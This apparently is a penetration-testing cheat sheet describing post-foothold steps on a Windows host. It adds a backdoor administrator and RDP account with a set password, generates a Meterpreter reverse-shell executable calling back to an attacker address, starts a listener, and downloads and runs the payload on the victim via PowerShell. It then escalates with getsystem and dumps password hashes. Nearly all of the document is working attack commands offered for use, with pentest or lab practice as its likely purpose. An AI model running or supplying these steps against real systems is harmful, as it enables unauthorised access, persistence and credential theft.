---
description: with initial foothold
---

# Add RDP Account & Ride on Meterpreter

## Remote Desktop

```powershell
net user pentest Pen.TE$t2024!1 /ADD
net localgroup "Remote Desktop Users" pentest /add
net localgroup "Administrators" pentest /add
```

### Meterpreter

Payload generation

[https://www.offsec.com/metasploit-unleashed/generating-payloads/](https://www.offsec.com/metasploit-unleashed/generating-payloads/)

```sh
use payload/windows/meterpreter/reverse_tcp 
set lhost=10.9.254.6 
set lport=8888
generate -f exe -o /var/www/html/meterpreter.exe
```

Metasploit listener for meterpreter payload

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.9.254.6
set lport 8888
run
```

## Transfer meterpreter.exe

```
apache2ctl start
```

Connect via RDP to the victim and start powershell

```
$URL="http://10.9.254.6/meterpreter.exe"
$Path="C:\Users\pentest\meterpreter.exe"

Invoke-WebRequest -URI $URL -OutFile $Path
```

## Run meterpreter.exe

Start meterpreter.exe "As Administrator"

<figure><img src="https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2Fyxzj4ssiUZaEAntjRonV%2Fimage.png?alt=media&#x26;token=1cdcf64e-f2b9-4ee5-bc26-2ddd2d6e11f2" alt=""><figcaption></figcaption></figure>

## Getsystem & hashdump

```
meterpreter> getsystem
meterpreter> hashdump
```

<figure><img src="https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2FbGISNtSahPcdwiYaHhBC%2Fimage.png?alt=media&#x26;token=c10d5285-8398-4676-abaf-c73c8132f546" alt=""><figcaption></figcaption></figure>
